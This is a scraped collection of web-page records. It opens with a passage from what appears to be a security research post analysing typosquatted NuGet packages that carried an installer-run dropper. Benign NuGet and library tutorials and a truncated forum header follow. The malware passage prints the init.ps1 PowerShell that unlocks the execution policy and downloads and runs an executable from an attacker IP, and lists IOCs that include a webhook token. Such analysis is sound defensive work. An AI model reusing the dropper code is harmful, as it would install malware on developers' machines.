Moreover, even if the init.ps1 script is not referred to by the .nuspec metadata file, it will still be executed!
The .nuspec Metadata File (no mention of init.ps1)
These kinds of autorun mechanisms are a big reason why we can find thousands of malicious packages plaguing the NPM and PyPI ecosystems as compared to the Go package ecosystem, for example, in which the client will not cause code to automatically run when a module is installed. The attacker’s code is much more likely to run if only package installation is needed to trigger it.
Which malicious packages were discovered?
We determined the following NuGet packages contained the same malicious payload –
Package Name Owner Download Count Publish Date Impersonated package Coinbase.Core BinanceOfficial 121.9K 2023-02-22 Coinbase Anarchy.Wrapper.Net OfficialDevelopmentTeam 30.4K 2023-02-21 Anarchy-Wrapper DiscordRichPresence.API OfficialDevelopmentTeam 14.1K 2023-02-21 DiscordRichPresence Avalon-Net-Core joeIverhagen 1.2k 2023-01-03 AvalonEdit Manage.Carasel.Net OfficialDevelopmentTeam 559 2023-02-21 N/A Asip.Net.Core BinanceOfficial 246 2023-02-22 Microsoft.AspNetCore Sys.Forms.26 joeIverhagen 205 2023-01-03 System.Windows.Forms Azetap.API DevNuget 153 2023-02-27 N/A AvalonNetCore RahulMohammad 67 2023-01-04 AvalonEdit Json.Manager.Core BestDeveIopers 46 2023-03-12 Generic .NET name Managed.Windows.Core MahamadRohu 37 2023-01-05 Generic .NET name Nexzor.Graphical.Designer.Core Impala 36 2023-03-12 N/A Azeta.API Soubata 28 2023-02-24 N/A
The top three packages were downloaded an incredible amount of times – this could be an indicator that the attack was highly successful, infecting a large amount of machines. However, this is not a fully reliable indicator of the attack’s success since the attackers could have automatically inflated the download count (with bots) to make the packages seem more legitimate.
Indicators for malicious activity
The main malicious indicator in the above packages, is the init.ps1 script which will execute upon installation and immediately download an .EXE binary and execute it on the victim’s workstation –
New-ItemProperty -Path 'HKCU:Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' -Name 'ExecutionPolicy' -Value "Unrestricted" -PropertyType String -Force Clear-Host $ProcName = "Impala.exe" $WebFile = "http://62[.]182[.]84[.]61/4563636/$ProcName" (New-Object System.Net.WebClient).DownloadFile($WebFile,"$env:APPDATA\$ProcName") Start-Process ("$env:APPDATA\$ProcName")
This behavior is extremely rare outside of malicious packages, especially taking into consideration the “Unrestricted” execution policy, which should immediately trigger a red flag.
In order to trick users to download the package the following methods were used:
“typosquatting” – A method for assigning names to the packages that are extremely similar to legitimate packages. For example “Coinbase.Core” which tries to mimic the popular, legitimate package “Coinbase”.
Coinbase.Core’s page (malicious package)
Coinbase’s page (legitimate package)
The package owner names used terms which attempt to make the package appear more legitimate (BinanceOfficial, NuGetDev, OfficialDevelopmentTeam).
As NuGet does not have a verification process for the “Author” attribute in the .nuspec metadata file, some packages had misleading metadata, such as “Microsoft” as the author, and a vague description.
The “Author” field is indistinguishable when comparing to official packages
Azetap.API package’s author defined as Microsoft with a false description
Some packages did not contain any direct malicious payload. Instead, they defined other malicious packages as dependencies, which then contained the malicious script.
The DiscordRichPresence.API package uses a malicious dependency. The malicious .ps1 payload is inside the “Manage.Carasel.Net” package.
Some of the packages were published by authors who looked legitimate at first glance, for example the author name “joelverhagen”, which appears to be the account name of one of Microsoft’s software developers working on NuGet –
However – under closer inspection it seems the attackers used the author name joeIverhagen (uppercase “i” instead of lowercase “l”) to masquerade as the legitimate account joelverhagen.
The unusually sophisticated malicious payload
Dropper script
All of the observed malicious packages had the same payload script (either directly or as a dependency). First, the payload script would change PowerShell’s running configuration so the current user would be allowed to execute PowerShell scripts with no restrictions, using the following command:
New-ItemProperty -Path 'HKCU:Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' -Name 'ExecutionPolicy' -Value "Unrestricted" -PropertyType String -Force
The script then proceeds to download a Windows executable file from a remote server, using .NET’s WebClient class:
$ProcName = "Avalon.exe" $wc = [System.Net.WebClient]::new() $wc.DownloadFile("http://62[.]182[.]84[.]61/$ProcName", "$env:APPDATA\$ProcName") $wc.Dispose()
Finally, the payload script executes the downloaded binary (which we will refer to as the “2nd stage payload”), after clearing the script’s output from the screen:
Clear-Host Start-Process ("$env:APPDATA\$ProcName")
It is also worth noting the download and execute payload used an HTTP (non-TLS) URL. This is especially dangerous since local network attackers who lack control of the original C2 domain, could potentially intercept the download request using a man-in-the-middle attack. Doing so would allow them to change the payload arbitrarily to fit their needs and gain full control of the machine that installed the malicious NuGet package.
We have published a full analysis of the malicious Impala Stealer payload here.
2nd stage payload
The vast majority of malicious package payloads discovered by the JFrog Security Research team are based on open-source hacking tools, since attackers are typically seeking the greatest ROI in the least amount of time and not requiring sophisticated code. However – in this case we observed a completely custom executable payload, written in a low-level language, indicating a more dedicated attacker.
The information below is based on one of the 2nd stage payloads that we’ve observed, however – since the 2nd stage payload is downloaded dynamically from the C2 server, the attackers are able to switch the 2nd stage functionality at any time.
Due to a leftover program database string (PDB), we can see the internal name for this payload is Impala –
A partial analysis of the payload revealed it possesses the following capabilities:
Crypto stealer – The payload references both the Exodus Lightning wallet app and has embedded Discord Webhooks, which may suggest the payload tries to exfiltrate crypto wallets via Discord webhooks.
Electron Archive Extractor – The payload can extract and execute code from Electron archives, using an embedded compiled (Rustlang) copy of Rasar.
Auto-updater – The payload drops a small updater executable to C:\Users\user\AppData\Local\Squirrel-2021\Updater.exe which checks the original C2 URL for an updated version of the malware.
We intend to publish a full analysis of this malicious payload in our next blog post, so stay tuned!
IOCs
https[:]//discord[.]com/api/webhooks/1076330498026115102/MLkgrUiivlgAoFWyvkSpLsBE3DMaDZd9cxPK3k9XQPyh6dw55jktV6qfDgxbs5AaY7Py 62[.]182[.]84[.]61 194[.]233[.]93[.]50 195[.]58[.]39[.]167 https[:]//paste[.]bingner[.]com/paste/xden6/raw Squirrel-2021\Updater[.]exe
How to watch out for malicious NuGet packages
First and foremost, developers should pay attention to typos in imported and installed packages. As one can see, some of these packages try to mimic the names of legitimate well-known packages, hoping that a developer would accidentally install them in their project, or mention them as a dependency.
Another way to avoid installing malicious packages is to manually verify they don’t contain any suspicious installation or initialization scripts. We recommend inspecting the packages before installing them via the NuGet Package Explorer, which is available on a package’s page on the right pane menu.
You should check the contents of the init.ps1, install.ps1 or uninstall.ps1 scripts under the tools directory, as such:
Be on the lookout for scripts that download and execute resources from external sources. You can also perform this check by downloading the package and examining the files locally –
When downloading the package locally, make sure not to accidentally execute a script or binary file before thoroughly verifying it.
Moreover, there are some other useful indicators to a package’s legitimacy, such as a high download count AND having many versions over a large timespan.
The Newtonsoft.Json package with over 3 billion downloads and many versions
A relatively new package with a low download count may indicate the package should be suspected, although it is important to note that these metrics can be spoofed by more sophisticated attackers.
Improved detection and remediation with JFrog Xray
As a response to this incident, we have added the malicious NuGet packages to JFrog Xray, which will allow customers to detect them immediately. JFrog Xray’s database of regularly curated packages currently contains more than 150K malicious packages across all relevant ecosystems, and continually evolves based on the findings of the JFrog Security Research team.
Conclusions
The results of this study prove that no open source software repository is safe forever. Even though no prior malicious-code attacks were observed in the NuGet repository, we were able to find evidence for at least one recent campaign using methods such as typosquatting to propagate malicious code. As with other repositories, safety measures should be taken at every step of the software development lifecycle to ensure the software supply chain remains secure.
See the second blog post in this series for a deeper analysis of the malicious payload found in this attack campaign!
Stay up-to-date with JFrog Security Research
In addition to exposing new security vulnerabilities and threats, JFrog provides developers and security teams easy access to the latest relevant information for their software with automated security scanning by JFrog Xray including enhanced CVE metadata and remediation advice.
|
|||||
8582
|
dbpedia
|
2
| 18
|
https://numerics.mathdotnet.com/
|
en
|
Math.NET Numerics
|
[
"https://numerics.mathdotnet.com/logo.png"
] |
[] |
[] |
[
""
] | null |
[
"Christoph Ruegg",
"Marcus Cuda",
"Jurgen Van Gael"
] | null |
en
|
/favicon.ico
| null |
Math.NET Numerics aims to provide methods and algorithms for numerical computations in science, engineering and every day use. Covered topics include special functions, linear algebra, probability models, random numbers, interpolation, integration, regression, optimization problems and more.
Math.NET Numerics is part of the Math.NET initiative and is the result of merging dnAnalytics with Math.NET Iridium, replacing both. Available for free under the MIT License. It targets Microsoft .NET 5.0, .NET 4.6.1 and higher, and .NET Standard 2.0 and higher. In addition to a purely managed implementation it also supports native hardware optimization. See Platform Support for full details.
NuGet Packages
MathNet.Numerics - core package
MathNet.Numerics.FSharp - optional extensions for a better experience when using F#.
See NuGet & Binaries for a complete list of our NuGet packages, Zip files and the release archive.
Using Math.NET Numerics with C#
Being written in it, Math.NET Numerics works very well with C# and related .Net languages. When using Visual Studio or another IDE with built-in NuGet support, you can get started quickly by adding a reference to the MathNet.Numerics NuGet package. Alternatively you can grab that package with the command line tool with nuget.exe install MathNet.Numerics -Pre or simply download the Zip package.
let's say we have a matrix \(\mathrm{A}\) and want to find an orthonormal basis of the kernel or null-space of that matrix, such that \(\mathrm{A}x = 0\) for all \(x\) in that subspace.
F# and F# Interactive
Even though the core of Math.NET Numerics is written in C#, it aims to support F# just as well. In order to achieve this we recommend to reference the MathNet.Numerics.FSharp package in addition to MathNet.Numerics, which adds a few modules to make it more idiomatic and includes arbitrary precision types (BigInteger, BigRational).
open MathNet.Numerics.LinearAlgebra let m = matrix [[ 1.0; 2.0 ] [ 3.0; 4.0 ]] let m' = m.Inverse()
It also works well in the interactive F# environment (REPL) which can be launched with fsharpi on all platforms (including Linux). As a start let's enter the following lines into F# interactive. Append ;; to the end of a line to run all code up to there immediately and print the result to the output. Use the tab key for auto-completion or #help;; for help. For convenience our F# packages include a small script that sets everything up properly:
#load "../packages/MathNet.Numerics.FSharp/MathNet.Numerics.fsx" open MathNet.Numerics SpecialFunctions.Gamma(0.5) open MathNet.Numerics.LinearAlgebra let m : Matrix<float> = DenseMatrix.randomStandard 50 50 (m * m.Transpose()).Determinant()
Visual Basic
Let's use Visual Basic to find the polynomial roots \(x\) such that \(2x^2 - 2x - 2 = 0\) numerically. We already know there are two roots, one between -2 and 0, the other between 0 and 2:
Linux with Mono
You need a recent version of Mono in order to use Math.NET Numerics on anything other than Windows. Luckily there has been great progress lately to make both Mono and F# available as proper Debian packages. In Debian testing and Ubuntu 14.04 (trusty/universe) you can install both of them with APT:
sudo apt-get update sudo apt-get install mono-complete sudo apt-get install fsharp
If you don't have NuGet yet:
sudo mozroots --import --sync curl -L https://nuget.org/nuget.exe -o nuget.exe
Then you can use NuGet to fetch the latest binaries in your working directory. The -Pre argument causes it to include pre-releases, omit it if you want stable releases only.
In practice you'd probably use the Monodevelop IDE instead which can take care of fetching and updating NuGet packages and maintain assembly references. But for completeness let's use the compiler directly this time. Let's create a C# file Start.cs:
Compile and run:
Which will print something like the following to the output:
See Intel MKL for details how to use native providers on Linux.
val m : obj
val m' : obj
|
||||||
8582
|
dbpedia
|
1
| 36
|
https://ironpdf.com/blog/net-help/what-is-nuget/
|
en
|
What is NuGet (How It Works For Developers Tutorial)
|
[
"https://ironpdf.com/img/svgs/united-states.svg",
"https://ironpdf.com/img/svgs/spain.svg",
"https://ironpdf.com/img/company/about/who_we_are.webp",
"https://ironpdf.com/img/svgs/navbar/ironpdf-logo.svg",
"https://ironpdf.com/img/products/ironpdf-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironword-logo.svg",
"https://ironpdf.com/img/products/ironword-text-without-icon-white.svg",
"https://ironpdf.com/img/svgs/navbar/ironxl-logo.svg",
"https://ironpdf.com/img/products/ironxl-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironocr-logo.svg",
"https://ironpdf.com/img/products/ironocr-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironbarcode-logo.svg",
"https://ironpdf.com/img/products/ironbarcode-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironqr-logo.svg",
"https://ironpdf.com/img/products/ironqr-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironzip-logo.svg",
"https://ironpdf.com/img/products/ironzip-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironprint-logo.svg",
"https://ironpdf.com/img/products/ironprint-text.svg",
"https://ironpdf.com/img/svgs/navbar/ironwebscraper-logo.svg",
"https://ironpdf.com/img/products/ironwebscraper-text.svg",
"https://ironpdf.com/img/products/suite-logo-text-dotnet-large-white-v2.svg",
"https://ironpdf.com/img/products/suite-logo-text-dotnet-large-white-v3.svg",
"https://ironpdf.com/img/svgs/teamseas-logo-for-dropdown.svg",
"https://ironpdf.com/img/svgs/navbar/ironsecuredoc-logo.svg",
"https://ironpdf.com/img/products/ironsecuredoc-text-without-icon-white.svg",
"https://ironpdf.com/img/svgs/navbar/irondrawing-logo.svg",
"https://ironpdf.com/img/products/irondrawing-text-without-icon-white_2.svg",
"https://ironpdf.com/img/svgs/navbar/ironfreetools-logo.svg",
"https://ironpdf.com/img/products/ironfreetools-text-without-icon-white-text.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text.svg",
"https://ironsoftware.com/img/svgs/logo-icon.svg",
"https://ironpdf.com/img/products/ironpdf-text-without-icon-black.svg",
"https://ironpdf.com/img/svgs/search-no-results.svg",
"https://ironpdf.com/img/svgs/illustration2.svg",
"https://ironpdf.com/static-assets/pdf/blog/what-is-nuget/what-is-nuget-1.webp",
"https://ironpdf.com/static-assets/pdf/blog/what-is-nuget/what-is-nuget-2.webp",
"https://ironpdf.com/static-assets/pdf/blog/what-is-nuget/what-is-nuget-3.webp",
"https://ironpdf.com/static-assets/pdf/blog/what-is-nuget/what-is-nuget-4.webp",
"https://ironpdf.com/img/nuget.blue.svg",
"https://ironpdf.com/img/svgs/tick-green.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_test.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_calendar.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_support.svg",
"https://ironpdf.com/img/license-types/icon-lightbulb.svg",
"https://ironpdf.com/img/nuget-logo.svg",
"https://ironpdf.com/img/dll-img.png",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_test.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_calendar.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_support.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_checked.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_aetna_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_wwf_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_nasa_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_usds_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_3m_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_tesla_grey.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_test.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_calendar.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_support.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_aetna_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_wwf_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_nasa_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_usds_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_3m_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_tesla_grey.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_test.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_calendar.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_support.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/modals/trial-license-new/bullet_checked.svg",
"https://ironpdf.com/img/icons/greencheck_in_yellowcircle.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_aetna_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_wwf_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_nasa_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_usds_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_3m_grey.svg",
"https://ironpdf.com/img/modals/trial-license-new/logo_tesla_grey.svg",
"https://ironpdf.com/img/svgs/ribbon.svg",
"https://ironpdf.com/img/agency-img.svg",
"https://ironpdf.com/img/post-sale/suite-logo-white.svg",
"https://ironpdf.com/img/products/ironpdf-logo-text-dotnet.svg",
"https://ironpdf.com/img/products/ironocr-logo-text-dotnet.svg",
"https://ironpdf.com/img/products/ironxl-logo-text-dotnet.svg",
"https://ironpdf.com/img/products/ironbarcode-logo-text-dotnet.svg",
"https://ironpdf.com/img/products/ironwebscraper-logo-text-dotnet.svg",
"https://ironpdf.com/img/svgs/curved-white-arrow.svg",
"https://ironpdf.com/img/products/h-56/ironpdf-text.svg",
"https://ironpdf.com/img/products/h-56/ironword-text.svg",
"https://ironpdf.com/img/products/h-56/ironxl-text.svg",
"https://ironpdf.com/img/products/h-56/ironocr-text.svg",
"https://ironpdf.com/img/products/h-56/ironbarcode-text.svg",
"https://ironpdf.com/img/products/h-56/ironqr-text.svg",
"https://ironpdf.com/img/products/h-56/ironzip-text.svg",
"https://ironpdf.com/img/products/h-56/ironprint-text.svg",
"https://ironpdf.com/img/products/h-56/ironwebscraper-text.svg",
"https://ironpdf.com/img/products/footer-top-logo-ironpdf-for-net.svg",
"https://ironpdf.com/img/svgs/hero-logo__162x20.svg",
"https://ironpdf.com/img/footer-socials/github.svg",
"https://ironpdf.com/img/footer-socials/youtube.svg",
"https://ironpdf.com/img/footer-socials/twitter-x.svg",
"https://ironpdf.com/img/footer-socials/facebook.svg",
"https://ironpdf.com/img/footer-socials/linkedin.svg",
"https://ironpdf.com/img/icons/slack-icon.svg",
"https://ironpdf.com/img/svgs/united-states.svg",
"https://ironpdf.com/img/svgs/spain.svg",
"https://ironpdf.com/img/svgs/supporting-teamseas-message-footer.svg"
] |
[
"https://www.youtube.com/embed/OjZl-3M05EA?start=0"
] |
[] |
[
""
] | null |
[] |
2022-10-31T00:00:00+07:00
|
In simpler words, a NuGet package is just like a zip file with the extension .nupkg. It contains all the DLL's as well as a descriptive manifest containing information such as the package's version number.
|
en
|
/img/favicon/iron-software-favicon.png
|
https://ironpdf.com/blog/net-help/what-is-nuget/
|
A system that allows developers to write, exchange, and use functional code is a crucial component of any modern development platform. This functional code is bundled in "packages" that also include other materials required by the projects that use them, such as compiled code (in the form of DLLs).
The Microsoft-supported method of code sharing for .NET (including .NET Core) is NuGet. NuGet enables the production, hosting, and retrieval of packages for .NET Frameworks. Software packages that NuGet manages are called NuGet packages.
What is NuGet? NuGet package is just a zip file with the extension .nupkg. it contains all the DLLs required to make the software function. It also contains a descriptive manifest that the package's version number, among other things. Developers just need to install the NuGet package, and they can use the methods provided by that package.
NuGet Features
NuGet adds private hosting support to the central nuget.org repository.
NuGet provides the tools that developers need to create, publish, and install packages.
NuGet keeps track of the packages used in a project and allows you to restore and update those packages from that list.
NuGet keeps track of all the specifications pertaining to how packages are structured, such as localization and how they are referenced.
NuGet provides numerous APIs for programmatically interacting with all of its services, as well as support for developers who publish Visual Studio extensions.
NuGet includes a package cache and a global folder for packages to make installation and reinstallation easier. If a package is already present on the local machine, the cache will not download it from the central repository, and will instead serve the package from the cache.
How NuGet Package works?
NuGet, as a public host, maintains a central repository of over 100,000 unique packages. Every day, millions of .NET/.NET Core developers use these packages. NuGet also lets you host packages privately in the cloud (for example, on Azure DevOps), on a private network, or even on your local file system. As a result, those packages are only available to developers who have access to the host, allowing you to make packages available to a specific group of consumers.
A host, whatever its nature, serves as the link between package creators and package consumers. Creators develop useful NuGet packages and distribute them to a host. Consumers then search accessible hosts for useful and compatible packages, downloading and including those packages in their projects. Once installed in a project, the API's of the packages are accessible to the rest of the project code.
There are six tools which are used to manage NuGet Packages.
.NET CLI
It is a command line Interface (CLI) for .NET Core and .NET Standard libraries, as well as for SDK-style projects targeting the .NET Framework (see SDK attribute). Certain NuGet CLI capabilities are available directly within the .NET Core tool chain. The .NET CLI, like the nuget.exe CLI, does not interact with Visual Studio projects.
NuGet.exe CLI
It is a CLI for .NET Framework libraries and non-SDK-style projects aiming at .NET Standard libraries. It provides all the capabilities of the .NET CLI, with some commands only applicable to package creators and other commands only to consumers. Package creators, for example, use the NuGet pack command to generate a package from various assemblies and related files. Package users use NuGet install to include packages in a project folder. Both package developers and package users uses NuGet config to set NuGet configuration variables.
The NuGet CLI does not interact with Visual Studio projects because it is a platform-agnostic tool.
Package Manager Console
The Package Manager Console provides PowerShell commands for installing and managing packages within Visual Studio projects.
Package Manager UI
The Package Manager UI provides a user-friendly interface for installing and managing packages for projects within Visual Studio.
Manage NuGet Package Manager UI
This tool also provides a user-friendly interface for installing and managing packages in for projects in Visual Studio. This tool is available only for Mac users.
MSBuild
MSBuild allows users to create and restore packages used in a project directly from the MSBuild tool chain.
Package Manager UI and Package Manager Console are most widely used tools for managing NuGet packages. We will now explore how they are used.
Use of the NuGet Package Manager UI
In Visual Studio, click on on Tools from the Top Menu Bar and select NuGet Package Manager > Manage NuGet package for Solutions.
A new window will appear as shown below.
In the Installed tab, all the NuGet packages that are already installed will appear here.
Click on the Browse Button and write the name of a package in the Search Bar. We will search for IronBarcode as an example.
Click on the Install Button, the library will be installed and made ready for use.
IronBarcode is a library developed and maintained by Iron Software that helps C# Software Engineers read and write Barcodes and QR Codes in .NET applications.
Core features include:
Read single or multiple Barcodes and QR Codes from images or PDFs.
Image correction for skewing, orientation, noise, low resolution, contrast, etc.
Create barcodes and apply to images or PDF documents.
Embed barcodes into HTML documents.
Style Barcodes and add annotation text.
QR Code Writing allows adding of logos, colors, and advanced QR alignment.
Learn more about IronBarcode from the product documentation page.
Use of the Package Manager Console
In Visual Studio, click on Tools from the Top Menu Bar and select NuGet Package Manager => Package Manager console.
The Package Manager Console window will appear as shown below.
Let's install a package using the Package Manager Console.
The Install-Package 'package-Name' command is used to install the package. For Instance:
Install-Package IronPdf
IronOCR is a C# software library that allows .NET software developers to detect and read text from images and PDF documents. It uses the most advanced Tesseract engine known anywhere. IronOCR shines above all other OCR libraries when working with real world images riddled with imperfections (i.e. digital noise, low-quality resolutions, etc.) It supports multiple programming languages.
Read more technical documentation about IronOCR from the product website.
Some Useful NuGet Packages
This section will describe some useful NuGet Packages available for working with databases and files.
Entity Framework
Entity Framework is the most common and powerful NuGet Package available for working with databases in .NET applications.
It is a Microsoft-supported open-source ORM framework that allows developers to work with data using domain-specific objects rather than using the underlying database tables and columns where the data is stored. When working with data, developers can work at a higher level of abstraction. This allows them to create and maintain data-oriented applications with less code than traditional applications.
There are separate NuGet packages available for managing SQL server, Oracle, MySQL, and PostgreSQL database servers.
The Getting-Started page provides more information about Entity Framework's capabilities.
IronPDF
IronPDF solves the difficult problem of adding PDF processing capabilities to apps. IronPDF automates the conversion of formatted documents to PDF, and also allows develoeprs to to create, edit, and export PDF documents.
The main features of IronPDF include:
Convert web forms, local HTML pages, and other web pages to PDF with .NET.
Allow users to download documents, send them by email, or store them in the cloud.
Produce invoices, quotes, reports, contracts, and other documents.
Work with ASP .NET, ASP .NET Core, web forms, MVC, Web API's on .NET Framework, and .NET Core.
Read more about IronPDF on its product documentation page.
IronXL
IronXL helps C# Software Engineers read, create, and edit spreadsheet files in .NET applications. IronXL works well without the use of Office Excel Interop, and does not require additional dependencies or the need to install Microsoft Office.
You can learn more about IronXL from here.
Iron Software provides all five libraries (IronPDF, IronXL, IronBarcode, IronWebscraper, and IronOCR) in a single .NET Suite. You can get all five libraries for the price of two on purchasing the complete suite. All purchases include lifetime product support.
Summary
NuGet is the package manager for .NET applications. The NuGet client tools provide the ability to create, share, and retrieve packages. The NuGet Gallery is the central package repository used by all package authors and consumers.
|
|||||
8582
|
dbpedia
|
0
| 95
|
https://ozeki-sms-gateway.com/p_3194-sms-nuget-library-for-c-sharp.html
|
en
|
SMS nuget library for C#
|
[
"https://ozeki-sms-gateway.com/attachments/1/ozeki_logo_60x60px.png",
"https://ozeki-sms-gateway.com/attachments/2010/Home2.svg",
"https://ozeki-sms-gateway.com/attachments/1/icon-learn.png",
"https://ozeki-sms-gateway.com/attachments/1/icon-download.png",
"https://ozeki-sms-gateway.com/attachments/1/icon-manual.png",
"https://ozeki-sms-gateway.com/attachments/1/icon-buy.png",
"https://ozeki-sms-gateway.com/attachments/1/icon-contact.png",
"https://ozeki-sms-gateway.com/attachments/1/signin.png",
"https://ozeki-sms-gateway.com/attachments/3194/how-to-install-a-nuget-package-step-one.png",
"https://ozeki-sms-gateway.com/attachments/3194/how-to-install-a-nuget-package-step-two.png",
"https://ozeki-sms-gateway.com/attachments/3194/how-to-install-a-nuget-package-step-three.png",
"https://ozeki-sms-gateway.com/attachments/3194/the-installed-and-imported-nuget-package.png",
"https://ozeki-sms-gateway.com/attachments/3194/the-output-of-the-send-sms-cs-code.png",
"https://ozeki-sms-gateway.com/attachments/3194/the-send-sms-in-the-ozeki-sms-gateway.png",
"https://myozeki.com/index.php?srv=sms&api=qrgen&t=https%3A%2F%2Fozeki-sms-gateway.com%2Fp_3194-sms-nuget-library-for-c-sharp.html"
] |
[] |
[] |
[
""
] | null |
[] | null |
Nuget is the package manager of the
|
en
|
Ozeki SMS Gateway
|
https://ozeki-sms-gateway.com/p_3194-sms-nuget-library-for-c-sharp.html
|
How to use the Ozeki Rest SMS Api Nuget Package
Nuget is the package manager of the .NET framework. You can use a Nuget package in any .NET based application. If you are using Visual Studio 2019 you are able to install a Nuget pakcage with a few clicks. In the following videos I'll show you how to create a C# console application, and how to use the Ozeki.Libs.Rest nuget package in that console application written in C#.
Create a new C# console application in Visual Studio
Install the Ozeki.Libs.Rest NuGet package
Import the previously installed NuGet package with using Ozeki.Libs.Rest;
Create a new Configuration, Message and a MessageApi object using the Ozeki.Libs.Rest pakcage
Using the MessageApi object send the previously created message
What is NuGet?
NuGet is the official package-manager for NET, mad by Microsoft.
Step 1 - How to create a new C# console application
Your browser does not support the video tag.
Step 2 - How to install the Ozeki.Libs.Rest NuGet package
To install a NuGet package in Visual Studio you need to right click onto the icon of the project, then select the Manage NuGet Packages from the dropdown menu. After that you have to search for the package you want to install, in this case it is the Ozeki.Libs.Rest package. When you have found the Ozeki.Libs.Rest package you have to install it by clicking on the Install button. When it is installed, you are able to import and use the package in your project.
Your browser does not support the video tag.
Manage NuGet Packages
To reach the menu where you can manage your NuGet Packages, right-click the project title in the Solution Explorer. It will bring up a sub-menu where you can find the 'Manage NuGet Packages...' button (Figure 1). Click it to open the NuGet package installer.
Install the Ozeki.Libs.Rest package
Type in the following text in the search bar of the NuGet Packet manager: 'Ozeki.Libs.Rest'. The search engine will show the one package you need. Choose it by clicking. As you can see on Figure 2, on the right side of the panel, you will find an 'Install' button. Click it and it will start the installation process.
The installed package
Now the previously empty 'installed' packages list, contains a package. It is the installed Ozeki.Libs.Rest. Now you can start using it. If you would like to install more packages to Visual Studio Code, repeat the process, but search for other packages.
Step 3 - How to use the Ozeki.Libs.Rest package in your C# application
In order to use the contents of the Ozeki.Libs.Rest package, you need to import it by using the following line of code:
using Ozeki.Libs.Rest;
Creating a program that uses that Ozeki.Libs.Rest
In this video, we are going to show you how to use the Ozeki.Libs.Rest NuGet package in a C# application. The video will start with an empty code editor, and you will see the working SMS sending application at the end of the video. You will learn how to write a code that uses the Ozeki.Libs.Rest to send SMS messages through the Ozeki SMS Gateway. The video is very detailed, you can see all the lines of code you need to provide in order to have a working system. It takes only 1:46 to watch the video, but you will understand the process by the end of it.
Your browser does not support the video tag.
The source code of the project
On Figure 4, you can see the source code of the project. As you can see, the 'username' and the 'password' variables contain the login credentials for the HTTP user. The 'Toaddress' and the 'Text' variables contain the address and the text of the message. If you are familiar with the C# programming language, feel free to change the values of the variable to send a customized message.
The output of the program
If you run your program, you will see the result of it in the 'Debug Console'. You will see the text 'Success' and some information about the message after. It means that the message sending was successful. Press and key to close the debug console.
Check the sent folder
After you have done the process, you can check the Sent folder in Ozeki SMS Gateway (Figure 6). There you will see your test message, with any other message sent before. You can find out more information about any message by clicking them.
Summary
This article explained how to use the Ozeki Rest SMS Api Nuget Package. This innovation can be really helpful if you want to send text messages from C#.
The synergy between C# codes and Ozeki SMS Gateway ensures that you get the highest possible performance. The Ozeki SMS Gateway offers excellent logging capabilities, which means you can track down errors quickly and reduce downtime.
Make sure that you don't finish reading here, visit Ozeki's tutorial page where more information can be found about topics like SMS sending and receiving in C#. Now the only thing to do is to download Ozeki SMS Gateway and let the work begin!
More information
|
|||||
8582
|
dbpedia
|
2
| 22
|
https://discourse.mcneel.com/t/which-programming-language-is-used-for-building-a-plugin-for-rhino/158385
|
en
|
Which programming language is used for building a plugin for Rhino?
|
[
"https://global.discourse-cdn.com/mcneel/uploads/default/original/4X/8/9/0/8901bb1e962379926f6edf79acb775d065fbd1e0.png",
"https://global.discourse-cdn.com/mcneel/uploads/default/original/4X/7/8/1/781fff49deb059b9223903b78dcba7d24613e297.png",
"https://sea1.discourse-cdn.com/mcneel/user_avatar/discourse.mcneel.com/sciensman/48/479776_2.png",
